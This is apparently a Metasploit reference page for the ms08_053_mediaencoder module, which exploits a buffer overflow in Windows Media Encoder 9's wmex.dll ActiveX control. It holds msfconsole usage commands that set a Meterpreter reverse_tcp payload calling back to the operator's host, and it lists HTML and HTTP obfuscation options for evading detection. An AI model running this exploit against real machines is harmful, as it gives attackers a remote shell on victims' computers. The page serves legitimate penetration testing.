Metasploit Penetration Testing Framework

Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow

This module exploits a stack buffer overflow in Windows Media Encoder 9. When sending an overly long string to the GetDetailsString() method of wmex.dll an attacker may be able to execute arbitrary code.

Rank

Normal

Authors

MC < mc [at] metasploit.com >

References

Exploit Targets

0 - Windows XP SP2-SP3 IE 6.0 SP0-SP2 (default)

Development

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Usage Information

$ msfconsole

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msf > use exploit/windows/browser/ms08_053_mediaencoder
msf exploit(ms08_053_mediaencoder) > show payloads
msf exploit(ms08_053_mediaencoder) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms08_053_mediaencoder) > set LHOST [MY IP ADDRESS]
msf exploit(ms08_053_mediaencoder) > exploit

Module Options

SRVHOST	The local host to listen on. (default: 0.0.0.0)
SRVPORT	The local port to listen on. (default: 8080)
SSL	Negotiate SSL for incoming connections
SSLVersion	Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3)
URIPATH	The URI to use for this exploit (default is random)
ContextInformationFile	The information file that contains context information
DisablePayloadHandler	Disable the handler code for the selected payload
EnableContextEncoding	Use transient context when encoding payloads
WORKSPACE	Specify the workspace for this module
HTML::base64	Enable HTML obfuscation via an embeded base64 html object (accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape	Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode	Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked	Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression	Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate)
HTTP::header_folding	Enable folding of HTTP headers
HTTP::junk_headers	Enable insertion of random junk HTTP headers
TCP::max_send_size	Maximum tcp segment size. (0 = disable)
TCP::send_delay	Delays inserted before every send. (0 = disable)

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